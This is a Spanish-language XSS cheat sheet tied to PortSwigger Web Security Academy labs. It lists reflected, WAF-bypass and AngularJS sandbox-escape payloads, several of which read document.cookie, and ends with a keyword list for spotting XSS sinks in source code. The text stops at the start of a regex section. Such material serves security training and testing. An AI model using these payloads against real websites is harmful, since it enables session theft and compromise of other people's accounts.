PortSwigger
XSS
Reflected
Stored
DOM
XSS — Cross-Site Scripting
Payloads, técnicas de bypass de WAF, DOM sinks y cheat sheet completo de XSS.
Reflected XSS — Payloads comunes
HTML/JS
<script>alert(1)</script>
<script>print(1)</script>
" autofocus onfocus=alert(1) x="
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
<a href="javascript:alert(1)">Click me</a>
Reflected XSS — Most tags and attributes blocked
iframe onresize
<iframe src="https://LAB.web-security-academy.net/?search=%3Cbody%20onresize=alert(document.cookie)%3E"
onload=this.style.width='100px'>
Reflected XSS — All tags blocked except custom ones
Custom tag + tabindex focus
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
DOM XSS — AngularJS template injection
Angular sandbox escape
{{$on.constructor('alert(1)')()}}
Palabras clave para detectar XSS en código fuente
eval()
document.cookie
alert()
innerHTML
onmouseover
onload
onerror
src
href
javascript:
script
img
svg
Regex para encontrar posibles puntos de ataque
1. Etiquetas <script>
/